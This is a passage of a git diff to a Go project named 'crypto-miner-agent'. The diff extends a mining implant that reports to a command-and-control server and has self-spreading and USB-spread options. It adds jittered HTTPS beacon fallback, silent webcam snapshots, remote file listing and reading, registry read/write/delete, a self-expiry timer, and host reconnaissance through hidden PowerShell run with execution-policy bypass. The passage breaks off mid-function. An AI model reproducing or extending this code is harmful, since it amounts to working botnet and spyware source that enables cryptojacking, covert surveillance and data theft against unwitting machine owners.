captureWindowsCameraJPEG() ([]byte, error) { + ff, err := ffmpegOnPath() + if err != nil { + return nil, err + } + devs, err := listWindowsCameraDevices() + if err != nil { + return nil, err + } + if len(devs) == 0 { + return nil, fmt.Errorf("no video capture devices found") + } + device := devs[0] + out, err := silentCombinedOutput(ff, + "-hide_banner", "-loglevel", "error", + "-f", "dshow", + "-i", dshowVideoInput(device), + "-frames:v", "1", + "-q:v", "2", + "-f", "image2", + "pipe:1", + ) + if err != nil { + hint := strings.TrimSpace(string(out)) + if hint != "" { + return nil, fmt.Errorf("ffmpeg capture failed: %v (%s)", err, hint) + } + return nil, fmt.Errorf("ffmpeg capture failed: %v (device %q)", err, device) + } + return out, nil +} + +func dshowVideoInput(name string) string { + return `video="` + strings.ReplaceAll(name, `"`, `\"`) + `"` +} diff --git a/agent/client/client.go b/agent/client/client.go index 93773dd..1dbf7f8 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -6,6 +6,7 @@ import ( "fmt" "io" "log" + "math/rand" "net" "net/http" "net/url" @@ -53,6 +54,11 @@ type AgentClient struct { // spreadOnce ensures AutoSpreader starts at most once — after the first // successful WS authentication confirms we are on an owned fleet. spreadOnce sync.Once + + // beaconMode is true while commands/results use HTTPS beacon transport. + beaconMode atomic.Bool + // wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth. + wsDownSince atomic.Value // stores time.Time } func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { @@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { } func (c *AgentClient) Run() error { + if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() { + age := time.Since(c.cfg.BuiltAt) + limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour + if age >= limit { + log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays) + return nil + } + } + threads := c.cfg.EffectiveThreads() c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare) c.pool.Start() @@ -118,32 +133,76 @@ func (c *AgentClient) Run() error { serverURLs := buildServerURLList(c.cfg) log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs) - urlIdx := 0 - backoff := 5 * time.Second - const maxBackoff = 60 * time.Second + probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort) + log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v", + probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK) + urlIdx := 0 + backoff, maxBackoff := c.reconnectBackoff() for { target := serverURLs[urlIdx%len(serverURLs)] start := time.Now() // Restore C2 share handler before connecting (in case Stratum had it). c.pool.SetShareHandler(c.submitShare) + if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) { + log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target) + if err := c.beaconOnce(target); err != nil { + log.Printf("[agent] beacon failed on %s: %v", target, err) + c.markWSDownSince() + } else { + c.sleepReconnect(c.beaconInterval()) + } + } if err := c.connectLoop(target); err != nil { log.Printf("[agent] disconnected from %s: %v", target, err) + c.markWSDownSince() } // Advance to next URL so the next reconnect tries a different server urlIdx++ if time.Since(start) > 10*time.Second { - // Long-lived connection succeeded — reset backoff on the next attempt - backoff = 5 * time.Second + backoff, maxBackoff = c.reconnectBackoff() } - time.Sleep(backoff) - backoff += 5 * time.Second + c.sleepReconnect(backoff) + backoff += c.reconnectBackoffStep() if backoff > maxBackoff { backoff = maxBackoff } } } +func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) { + sec := c.cfg.BeaconIntervalSec + if sec <= 0 { + sec = 5 + } + base := time.Duration(sec) * time.Second + max := 60 * time.Second + if base*12 > max { + max = base * 12 + } + return base, max +} + +func (c *AgentClient) reconnectBackoffStep() time.Duration { + sec := c.cfg.BeaconIntervalSec + if sec <= 0 { + sec = 5 + } + return time.Duration(sec) * time.Second +} + +func (c *AgentClient) sleepReconnect(d time.Duration) { + jitter := c.cfg.BeaconJitterPct + if jitter > 0 { + if jitter > 100 { + jitter = 100 + } + factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0 + d = time.Duration(float64(d) * factor) + } + time.Sleep(d) +} + // buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order. func buildServerURLList(cfg config.RuntimeConfig) []string { seen := map[string]bool{} @@ -263,6 +322,8 @@ func (c *AgentClient) authenticate() error { Arch: runtime.GOARCH, OSVersion: deploy.HostOSVersion(), MacAddress: primaryMACAddress(), + BuildID: c.cfg.BuildID, + USBSpread: c.cfg.USBSpread, }) if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { return err @@ -287,7 +348,8 @@ func (c *AgentClient) authenticate() error { return fmt.Errorf("auth failed: %s", resp.Error) } c.agentID = resp.AgentID - log.Printf("[agent] authenticated as %s", c.agentID) + c.clearWSDownSince() + log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID) // Persist the server-confirmed ID so restarts always reconnect as the same agent. if installDir, err := c.cfg.InstallDirectory(); err == nil { _ = deploy.PersistAgentID(installDir, c.agentID) @@ -549,7 +611,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, } go c.performUpgrade(data) c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary") + case "bof_execute": + c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety") default: + if c.handleRegistryCommand(action, path, data) { + return + } + if c.handleFileCommand(action, path) { + return + } if c.handleReconCommand(action, command) { return } @@ -563,9 +633,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str "success": success, "message": message, }) + if c.beaconMode.Load() { + c.postBeaconResult(payload) + return + } _ = c.write(Message{Type: "command_result", Payload: payload}) } +func (c *AgentClient) wsDownSinceTime() time.Time { + if v := c.wsDownSince.Load(); v != nil { + if t, ok := v.(time.Time); ok { + return t + } + } + return time.Time{} +} + +func (c *AgentClient) markWSDownSince() { + if !c.wsDownSinceTime().IsZero() { + return + } + c.wsDownSince.Store(time.Now()) +} + +func (c *AgentClient) clearWSDownSince() { + c.wsDownSince.Store(time.Time{}) +} + +func (c *AgentClient) collectStatsPayload() (StatsPayload, error) { + hps := c.pool.HashesPerSecond() + c.pool.ResetHashCounter() + cpuPct, memPct := c.reporter.Usage() + if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 { + cpuPct = sysCPU + } + c.mu.Lock() + submitted := c.sharesSubmitted + accepted := c.sharesAccepted + c.mu.Unlock() + return StatsPayload{ + Hashrate15s: hps, + Hashrate1m: hps, + Hashrate15m: hps, + SharesSubmitted: submitted, + SharesAccepted: accepted, + CPUUsagePct: cpuPct, + MemoryUsagePct: memPct, + UptimeSeconds: int(time.Since(c.startTime).Seconds()), + }, nil +} + func (c *AgentClient) stopSelf() { time.Sleep(300 * time.Millisecond) c.pool.Stop() diff --git a/agent/client/commands_common.go b/agent/client/commands_common.go index 0ccc705..0f31226 100644 --- a/agent/client/commands_common.go +++ b/agent/client/commands_common.go @@ -1,6 +1,7 @@ package client import ( + "encoding/json" "fmt" "os/exec" "runtime" @@ -21,6 +22,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) { } func (c *AgentClient) handleReconCommand(action, command string) bool { + if action == "connectivity_probe" { + probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort) + b, _ := json.Marshal(probe) + c.sendCommandResult(action, true, string(b)) + return true + } if action == "full_sys_check" { report := CollectFullSysCheck(c.cfg, c.agentID) c.sendCommandResult(action, true, report.JSON()) diff --git a/agent/client/commands_unix.go b/agent/client/commands_unix.go index 483e00a..92ff726 100644 --- a/agent/client/commands_unix.go +++ b/agent/client/commands_unix.go @@ -52,6 +52,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe } else { return true, false, "screenshot not supported on this platform without custom command" } + case "camera_snapshot", "camera_list": + return handleCameraAction(action) case "sysinfo": out, err = exec.Command("uname", "-a").CombinedOutput() case "ipconfig": diff --git a/agent/client/commands_windows.go b/agent/client/commands_windows.go index b948ee1..94f5d0c 100644 --- a/agent/client/commands_windows.go +++ b/agent/client/commands_windows.go @@ -106,6 +106,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)" } return true, true, b64 + case "camera_snapshot", "camera_list": + return handleCameraAction(action) case "sysinfo": out, err = silentCombinedOutput("systeminfo") case "ipconfig": diff --git a/agent/client/connectivity_probe.go b/agent/client/connectivity_probe.go new file mode 100644 index 0000000..72a53c0 --- /dev/null +++ b/agent/client/connectivity_probe.go @@ -0,0 +1,93 @@ +package client + +import ( + "fmt" + "net" + "net/url" + "strings" + "time" +) + +// ConnectivityProbeReport is diagnostic-only reachability (not a C2 channel). +type ConnectivityProbeReport struct { + C2Host string `json:"c2_host"` + C2DNSOK bool `json:"c2_dns_ok"` + C2DNSAddrs []string `json:"c2_dns_addrs,omitempty"` + C2TCPOK bool `json:"c2_tcp_ok"` + C2TCPError string `json:"c2_tcp_error,omitempty"` + PoolHost string `json:"pool_host,omitempty"` + PoolDNSOK bool `json:"pool_dns_ok,omitempty"` + PoolDNSAddrs []string `json:"pool_dns_addrs,omitempty"` + PoolTCPOK bool `json:"pool_tcp_ok,omitempty"` + PoolTCPError string `json:"pool_tcp_error,omitempty"` +} + +func runConnectivityProbe(serverURL, poolHost string, poolPort int) ConnectivityProbeReport { + report := ConnectivityProbeReport{} + host, port, err := hostPortFromServerURL(serverURL) + if err != nil { + report.C2Host = serverURL + report.C2TCPError = err.Error() + return report + } + report.C2Host = net.JoinHostPort(host, port) + report.C2DNSOK, report.C2DNSAddrs = probeDNSResolve(host) + report.C2TCPOK, report.C2TCPError = probeTCPConnect(host, port) + + if poolHost != "" { + pport := poolPort + if pport <= 0 { + pport = 3333 + } + pportStr := fmt.Sprintf("%d", pport) + report.PoolHost = net.JoinHostPort(poolHost, pportStr) + report.PoolDNSOK, report.PoolDNSAddrs = probeDNSResolve(poolHost) + report.PoolTCPOK, report.PoolTCPError = probeTCPConnect(poolHost, pportStr) + } + return report +} + +func hostPortFromServerURL(serverURL string) (host, port string, err error) { + raw := strings.TrimSpace(serverURL) + if raw == "" { + return "", "", fmt.Errorf("empty server URL") + } + if !strings.Contains(raw, "://") { + raw = "http://" + raw + } + u, err := url.Parse(raw) + if err != nil { + return "", "", err + } + host = u.Hostname() + port = u.Port() + if port == "" { + if u.Scheme == "https" { + port = "443" + } else { + port = "80" + } + } + if host == "" { + return "", "", fmt.Errorf("no host in server URL") + } + return host, port, nil +} + +func probeDNSResolve(host string) (bool, []string) { + addrs, err := net.LookupHost(host) + if err != nil || len(addrs) == 0 { + return false, nil + } + return true, addrs +} + +func probeTCPConnect(host, port string) (bool, string) { + addr := net.JoinHostPort(host, port) + conn, err := net.DialTimeout("tcp", addr, 5*time.Second) + if err != nil { + return false, err.Error() + } + _ = conn.Close() + return true, "" +} diff --git a/agent/client/connectivity_probe_test.go b/agent/client/connectivity_probe_test.go new file mode 100644 index 0000000..deb57dc --- /dev/null +++ b/agent/client/connectivity_probe_test.go @@ -0,0 +1,20 @@ +package client + +import "testing" + +func TestHostPortFromServerURL(t *testing.T) { + host, port, err := hostPortFromServerURL("https://c2.example.com:8989") + if err != nil { + t.Fatal(err) + } + if host != "c2.example.com" || port != "8989" { + t.Fatalf("got %s:%s", host, port) + } + host, port, err = hostPortFromServerURL("http://192.168.1.5") + if err != nil { + t.Fatal(err) + } + if host != "192.168.1.5" || port != "80" { + t.Fatalf("got %s:%s", host, port) + } +} diff --git a/agent/client/cve_catalog.go b/agent/client/cve_catalog.go new file mode 100644 index 0000000..8ba934f --- /dev/null +++ b/agent/client/cve_catalog.go @@ -0,0 +1,66 @@ +package client + +// KEVEntry describes a CISA-known-exploited style vulnerability for read-only exposure checks. +// Heuristics indicate likely exposure on the host — not a penetration test. +type KEVEntry struct { + ID string + Name string + Product string + Severity string // critical, high, medium + CISAKEV bool + Description string +} + +// KEVCatalog is aligned with CISA AA22-117A / AA22-279A top exploited CVE families. +var KEVCatalog = []KEVEntry{ + {ID: "CVE-2021-44228", Name: "Log4Shell", Product: "Apache Log4j", Severity: "critical", CISAKEV: true, + Description: "JNDI RCE in Log4j 2.x before 2.17.0"}, + {ID: "CVE-2021-26855", Name: "ProxyLogon", Product: "Microsoft Exchange", Severity: "critical", CISAKEV: true, + Description: "Exchange Server pre-auth SSRF chain (Mar 2021)"}, + {ID: "CVE-2020-1472", Name: "Zerologon", Product: "Microsoft Netlogon", Severity: "critical", CISAKEV: true, + Description: "Domain controller Netlogon privilege escalation"}, + {ID: "CVE-2019-19781", Name: "Citrix ADC", Product: "Citrix ADC/Gateway", Severity: "critical", CISAKEV: true, + Description: "Path traversal on Citrix Application Delivery Controller"}, + {ID: "CVE-2019-11510", Name: "Pulse Secure", Product: "Ivanti Pulse Connect Secure", Severity: "critical", CISAKEV: true, + Description: "Arbitrary file read on Pulse VPN appliances"}, + {ID: "CVE-2020-5902", Name: "F5 BIG-IP", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true, + Description: "Remote code execution in TMUI (CVE-2020-5902)"}, + {ID: "CVE-2022-1388", Name: "F5 iControl", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true, + Description: "iControl REST auth bypass (May 2022)"}, + {ID: "CVE-2021-26084", Name: "Confluence OGNL", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true, + Description: "Confluence Server/Data Center RCE"}, + {ID: "CVE-2022-26134", Name: "Confluence RCE", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true, + Description: "Confluence unauthenticated RCE (2022)"}, + {ID: "CVE-2021-40539", Name: "ManageEngine", Product: "Zoho ManageEngine ADSelfService Plus", Severity: "critical", CISAKEV: true, + Description: "Unauthenticated RCE in ADSelfService Plus"}, + {ID: "CVE-2018-13379", Name: "FortiOS path traversal", Product: "Fortinet FortiGate/FortiOS", Severity: "critical", CISAKEV: true, + Description: "SSL-VPN path traversal (FortiOS)"}, + {ID: "CVE-2021-34527", Name: "PrintNightmare", Product: "Windows Print Spooler", Severity: "high", CISAKEV: true, + Description: "Spooler remote code execution (Jul 2021)"}, + {ID: "CVE-2020-0688", Name: "Exchange RCE", Product: "Microsoft Exchange", Severity: "high", CISAKEV: true, + Description: "Exchange control panel deserialization RCE"}, + {ID: "CVE-2021-21972", Name: "vCenter RCE", Product: "VMware vCenter", Severity: "critical", CISAKEV: true, + Description: "vSphere Client RCE in vCenter Server"}, +} + +// KEVFinding is one catalog entry with a probe result for this host. +type KEVFinding struct { + CVE string `json:"cve"` + Name string `json:"name"` + Product string `json:"product"` + Severity string `json:"severity"` + CISAKEV bool `json:"cisa_kev"` + Status string `json:"status"` // exposed, likely, clear, n/a + Detail string `json:"detail,omitempty"` +} + +// KEVScanReport aggregates exposure heuristics for the dashboard. +type KEVScanReport struct { + ScannedAt string `json:"scanned_at"` + ExposedCount int `json:"exposed_count"` + LikelyCount int `json:"likely_count"` + CriticalCount int `json:"critical_count"` + RiskScore int `json:"risk_score"` // 0-100 higher = worse + Findings []KEVFinding `json:"findings"` + Summary string `json:"summary,omitempty"` +} diff --git a/agent/client/cve_scan_common.go b/agent/client/cve_scan_common.go new file mode 100644 index 0000000..747fa68 --- /dev/null +++ b/agent/client/cve_scan_common.go @@ -0,0 +1,34 @@ +package client + +import "time" + +func finalizeKEVReport(findings []KEVFinding) *KEVScanReport { + r := &KEVScanReport{ + ScannedAt: time.Now().UTC().Format(time.RFC3339), + Findings: findings, + } + for _, f := range findings { + switch f.Status { + case "exposed": + r.ExposedCount++ + if f.Severity == "critical" { + r.CriticalCount++ + } + case "likely": + r.LikelyCount++ + } + } + r.RiskScore = kevRiskScore(r) + return r +} + +func kevRiskScore(r *KEVScanReport) int { + if r == nil { + return 0 + } + score := r.CriticalCount*25 + r.ExposedCount*15 + r.LikelyCount*8 + if score > 100 { + return 100 + } + return score +} diff --git a/agent/client/cve_scan_stub.go b/agent/client/cve_scan_stub.go new file mode 100644 index 0000000..9d4af5f --- /dev/null +++ b/agent/client/cve_scan_stub.go @@ -0,0 +1,16 @@ +//go:build !windows + +package client + +func scanKEVExposure(_ *PatchStatusReport, _ *ListenPortsReport, _ *SysCheckSecurity) *KEVScanReport { + findings := make([]KEVFinding, 0, len(KEVCatalog)) + for _, e := range KEVCatalog { + findings = append(findings, KEVFinding{ + CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV, + Status: "n/a", Detail: "KEV heuristics run on Windows agents only", + }) + } + r := finalizeKEVReport(findings) + r.Summary = "KEV scan requires Windows" + return r +} diff --git a/agent/client/cve_scan_test.go b/agent/client/cve_scan_test.go new file mode 100644 index 0000000..f3a1a76 --- /dev/null +++ b/agent/client/cve_scan_test.go @@ -0,0 +1,22 @@ +package client + +import "testing" + +func TestFinalizeKEVReportRiskScore(t *testing.T) { + r := finalizeKEVReport([]KEVFinding{ + {CVE: "CVE-2021-26855", Status: "exposed", Severity: "critical"}, + {CVE: "CVE-2021-44228", Status: "likely", Severity: "critical"}, + }) + if r.ExposedCount != 1 || r.LikelyCount != 1 || r.CriticalCount != 1 { + t.Fatalf("counts: %+v", r) + } + if r.RiskScore < 30 { + t.Fatalf("expected elevated risk score, got %d", r.RiskScore) + } +} + +func TestKEVCatalogNotEmpty(t *testing.T) { + if len(KEVCatalog) < 10 { + t.Fatalf("expected KEV catalog entries, got %d", len(KEVCatalog)) + } +} diff --git a/agent/client/cve_scan_windows.go b/agent/client/cve_scan_windows.go new file mode 100644 index 0000000..3352909 --- /dev/null +++ b/agent/client/cve_scan_windows.go @@ -0,0 +1,231 @@ +//go:build windows + +package client + +import ( + "encoding/json" + "strings" +) + +const kevProbeScript = ` +$ErrorActionPreference = 'SilentlyContinue' +$out = [ordered]@{} + +# Exchange (ProxyLogon / ProxyLogon family) +$exSvc = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'MSExchange*' -or $_.DisplayName -like '*Exchange*' }) +$exReg = Test-Path 'HKLM:\SOFTWARE\Microsoft\ExchangeServer' +$out.exchange_installed = ($exSvc.Count -gt 0 -or $exReg) + +# Domain Controller (Zerologon surface) +try { + $dc = (Get-CimInstance Win32_ComputerSystem).DomainRole -in 4,5 +} catch { $dc = $false } +$out.is_domain_controller = $dc + +# Pulse / Ivanti VPN client or service +$pulse = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { + $_.DisplayName -match 'Pulse|Ivanti|Juniper Pulse' -or $_.Name -match 'Pulse' +}) +$out.pulse_present = ($pulse.Count -gt 0) + +# Citrix ADC / Gateway / Workspace server components +$citrix = @( + Test-Path 'C:\inetpub\scripts', + (Test-Path 'C:\Program Files\Citrix'), + (Test-Path 'C:\Program Files (x86)\Citrix') +) | Where-Object { $_ } +$out.citrix_present = ($citrix.Count -gt 0) + +# F5 BIG-IP local management (rare on desktop) +$f5 = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'bigip|f5' }) +$out.f5_process = ($f5.Count -gt 0) + +# Confluence / Atlassian stack +$conf = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { + $_.Path -match 'atlassian|confluence|tomcat' -or $_.ProcessName -match 'confluence|tomcat' +}) +$out.confluence_like = ($conf.Count -gt 0) + +# ManageEngine ADSelfService Plus +$me = @( + Test-Path 'C:\Program Files\ManageEngine', + Test-Path 'C:\ManageEngine' +) | Where-Object { $_ } +$out.manageengine_present = ($me.Count -gt 0) + +# Fortinet FortiClient +$forti = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'forti' }) +$out.forticlient = ($forti.Count -gt 0) + +# VMware vCenter / vSphere client heavy installs +$vmw = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'vpxd|VMware' }) +$out.vmware_serverish = ($vmw.Count -gt 0) + +# Print Spooler (PrintNightmare surface) +try { + $sp = Get-Service Spooler + $out.spooler_running = ($sp.Status -eq 'Running') +} catch { $out.spooler_running = $false } + +# Log4j jars — shallow search (bounded) +$log4j = @() +$roots = @( + $env:ProgramFiles, + ${env:ProgramFiles(x86)}, + 'C:\ProgramData' +) | Where-Object { $_ -and (Test-Path $_) } +foreach ($root in $roots) { + $log4j += Get-ChildItem -Path $root -Filter 'log4j-core*.jar' -Recurse -Depth 3 -ErrorAction SilentlyContinue | + Select-Object -First 5 -ExpandProperty FullName +} +$out.log4j_jars = @($log4j | Select-Object -Unique) + +$out | ConvertTo-Json -Compress -Depth 4 +` + +type kevProbeResult struct { + ExchangeInstalled bool `json:"exchange_installed"` + IsDomainController bool `json:"is_domain_controller"` + PulsePresent bool `json:"pulse_present"` + CitrixPresent bool `json:"citrix_present"` + F5Process bool `json:"f5_process"` + ConfluenceLike bool `json:"confluence_like"` + ManageEnginePresent bool `json:"manageengine_present"` + FortiClient bool `json:"forticlient"` + VMwareServerish bool `json:"vmware_serverish"` + SpoolerRunning bool `json:"spooler_running"` + Log4jJars []string `json:"log4j_jars"` +} + +func runKEVProbe() (*kevProbeResult, error) { + out, err := silentCombinedOutput( + "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", + kevProbeScript, + ) + if err != nil { + return nil, err + } + raw := strings.TrimSpace(string(out)) + if idx := strings.LastIndex(raw, "{"); idx > 0 { + raw = raw[idx:] + } + var p kevProbeResult + if err := json.Unmarshal([]byte(raw), &p); err != nil { + return nil, err + } + return &p, nil +} + +func scanKEVExposure(patch *PatchStatusReport, ports *ListenPortsReport, sec *SysCheckSecurity) *KEVScanReport { + probe, probeErr := runKEVProbe() + findings := make([]KEVFinding, 0, len(KEVCatalog)) + + patchDays := -1 + if patch != nil && patch.LastPatchDays != nil { + patchDays = *patch.LastPatchDays + } + listening := map[int]bool{} + if ports != nil { + for _, p := range ports.Ports { + listening[p.Port] = true + } + } + + for _, e := range KEVCatalog { + f := KEVFinding{ + CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV, + Status: "clear", Detail: e.Description, + } + if probeErr != nil { + f.Status = "n/a" + f.Detail = "probe unavailable" + findings = append(findings, f) + continue + } + + switch e.ID { + case "CVE-2021-26855", "CVE-2020-0688": + if probe.ExchangeInstalled { + f.Status = "exposed" + f.Detail = "Microsoft Exchange services/registry detected — verify Mar 2021+ CU patches" + if patchDays >= 0 && patchDays > 90 { + f.Status = "likely" + f.Detail += "; host patch age > 90 days" + } + } + case "CVE-2020-1472": + if probe.IsDomainController { + f.Status = "likely" + f.Detail = "Domain controller role — ensure Aug 2020 Netlogon patch (Zerologon) applied" + if patchDays >= 0 && patchDays > 60 { + f.Status = "exposed" + f.Detail = "DC with patch age > 60 days — Zerologon mitigation urgency" + } + } + case "CVE-2021-44228": + if len(probe.Log4jJars) > 0 { + f.Status = "likely" + f.Detail = "log4j-core JAR(s) found: " + strings.Join(probe.Log4jJars, "; ") + } + case "CVE-2019-19781": + if probe.CitrixPresent { + f.Status = "likely" + f.Detail = "Citrix install paths present — verify ADC/Gateway patch level if server role" + } + case "CVE-2019-11510": + if probe.PulsePresent { + f.Status = "likely" + f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway" + } + case "CVE-2020-5902", "CVE-2022-1388": + if probe.F5Process || listening[443] { + if probe.F5Process { + f.Status = "likely" + f.Detail = "F5-related process detected" + } + } + case "CVE-2021-26084", "CVE-2022-26134": + if probe.ConfluenceLike { + f.Status = "likely" + f.Detail = "Atlassian/Confluence-like Java process — verify Confluence patch level" + } + case "CVE-2021-40539": + if probe.ManageEnginePresent { + f.Status = "likely" + f.Detail = "ManageEngine directory present — verify ADSelfService Plus version" + } + case "CVE-2018-13379": + if probe.FortiClient { + f.Status = "likely" + f.Detail = "Fortinet client process running — verify FortiOS/FortiClient versions on VPN edge" + } + case "CVE-2021-21972": + if probe.VMwareServerish { + f.Status = "likely" + f.Detail = "VMware server-style services detected — verify vCenter patch level" + } + case "CVE-2021-34527": + if probe.SpoolerRunning && !probe.IsDomainController { + f.Status = "likely" + f.Detail = "Print Spooler running — restrict if not required (PrintNightmare era)" + } + } + + // Stale patching amplifies any likely/exposed KEV surface + if f.Status == "likely" && patchDays > 120 { + f.Detail += " · OS patches older than 120 days" + } + + findings = append(findings, f) + } + + r := finalizeKEVReport(findings) + if r.ExposedCount > 0 || r.CriticalCount > 0 { + r.Summary = "CISA KEV-style exposure indicators detected — patch or isolate affected roles" + } else if r.LikelyCount > 0 { + r.Summary = "Some KEV-related software stacks detected — verify versions and patches" + } else { + r.Summary = "No high-confidence KEV exposure indicators on this host" + } + return r +} diff --git a/agent/client/file_ops_unix.go b/agent/client/file_ops_unix.go new file mode 100644 index 0000000..9b7581b --- /dev/null +++ b/agent/client/file_ops_unix.go @@ -0,0 +1,12 @@ +//go:build !windows + +package client + +func (c *AgentClient) handleFileCommand(action, path string) bool { + switch action { + case "list_dir", "read_file": + c.sendCommandResult(action, false, "file browser commands are only supported on Windows agents") + return true + } + return false +} diff --git a/agent/client/file_ops_windows.go b/agent/client/file_ops_windows.go new file mode 100644 index 0000000..8a6363d --- /dev/null +++ b/agent/client/file_ops_windows.go @@ -0,0 +1,82 @@ +//go:build windows + +package client + +import ( + "encoding/json" + "fmt" + "os" + + "crypto-miner-agent/deploy" +) + +const maxReadFileBytes = 512 * 1024 + +type dirEntry struct { + Name string `json:"name"` + IsDir bool `json:"is_dir"` + Size int64 `json:"size"` +} + +func (c *AgentClient) handleFileCommand(action, path string) bool { + switch action { + case "list_dir": + if path == "" { + c.sendCommandResult(action, false, "path is required") + return true + } + resolved, err := deploy.ResolveRemotePath(path) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + entries, err := os.ReadDir(resolved) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + out := make([]dirEntry, 0, len(entries)) + for _, e := range entries { + info, err := e.Info() + if err != nil { + continue + } + out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()}) + } + b, _ := json.Marshal(map[string]interface{}{"path": resolved, "entries": out}) + c.sendCommandResult(action, true, string(b)) + return true + + case "read_file": + if path == "" { + c.sendCommandResult(action, false, "path is required") + return true + } + resolved, err := deploy.ResolveRemotePath(path) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + info, err := os.Stat(resolved) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + if info.IsDir() { + c.sendCommandResult(action, false, "path is a directory") + return true + } + if info.Size() > maxReadFileBytes { + c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes)) + return true + } + b, err := os.ReadFile(resolved) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, string(b)) + return true + } + return false +} diff --git a/agent/client/pathtracer_stub.go b/agent/client/pathtracer_stub.go index e81aa95..2a9ea20 100644 --- a/agent/client/pathtracer_stub.go +++ b/agent/client/pathtracer_stub.go @@ -35,4 +35,5 @@ func WGSetupJSON() string { func WGConfigure(_ WGConfigPayload) error { return nil } func WGTeardown() {} +func WGIsActive() bool { return false } func WGStatus() string { return "not supported on this platform" } diff --git a/agent/client/pathtracer_windows.go b/agent/client/pathtracer_windows.go index ccaf0fd..394d8df 100644 --- a/agent/client/pathtracer_windows.go +++ b/agent/client/pathtracer_windows.go @@ -150,6 +150,11 @@ func WGTeardown() { log.Printf("[pathtracer] WireGuard tunnel torn down") } +// WGIsActive reports whether a Path Tracer WireGuard tunnel is running. +func WGIsActive() bool { + return wgState.tunnelName != "" +} + // WGStatus returns the number of active WireGuard peers. func WGStatus() string { if wgState.tunnelName == "" { diff --git a/agent/client/protocol.go b/agent/client/protocol.go index d762688..f0f1428 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -41,6 +41,8 @@ type AuthPayload struct { Arch string `json:"arch"` OSVersion string `json:"os_version"` MacAddress string `json:"mac_address,omitempty"` + BuildID string `json:"build_id,omitempty"` + USBSpread bool `json:"usb_spread,omitempty"` } type AuthResponse struct { diff --git a/agent/client/registry_ops_stub.go b/agent/client/registry_ops_stub.go new file mode 100644 index 0000000..461defc --- /dev/null +++ b/agent/client/registry_ops_stub.go @@ -0,0 +1,13 @@ +//go:build !windows + +package client + +func (c *AgentClient) handleRegistryCommand(action, path, data string) bool { + switch action { + case "registry_read", "registry_write", "registry_delete": + c.sendCommandResult(action, false, "registry operations are unsupported on this platform") + return true + default: + return false + } +} diff --git a/agent/client/registry_ops_windows.go b/agent/client/registry_ops_windows.go new file mode 100644 index 0000000..b632097 --- /dev/null +++ b/agent/client/registry_ops_windows.go @@ -0,0 +1,89 @@ +//go:build windows + +package client + +import ( + "encoding/json" + "fmt" + "strings" + + "crypto-miner-agent/deploy" +) + +type registryCommandPayload struct { + Hive string `json:"hive"` + Path string `json:"path"` + Name string `json:"name"` + Value string `json:"value"` + Type string `json:"type"` +} + +func (c *AgentClient) handleRegistryCommand(action, path, data string) bool { + switch action { + case "registry_read", "registry_write", "registry_delete": + default: + return false + } + + payload, err := parseRegistryPayload(path, data) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + hiveToken, err := deploy.ParseRegistryHive(payload.Hive) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + + switch action { + case "registry_read": + out, err := deploy.FleetRegistryRead(hiveToken, payload.Path) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + b, _ := json.Marshal(out) + c.sendCommandResult(action, true, string(b)) + case "registry_write": + if payload.Name == "" || payload.Value == "" 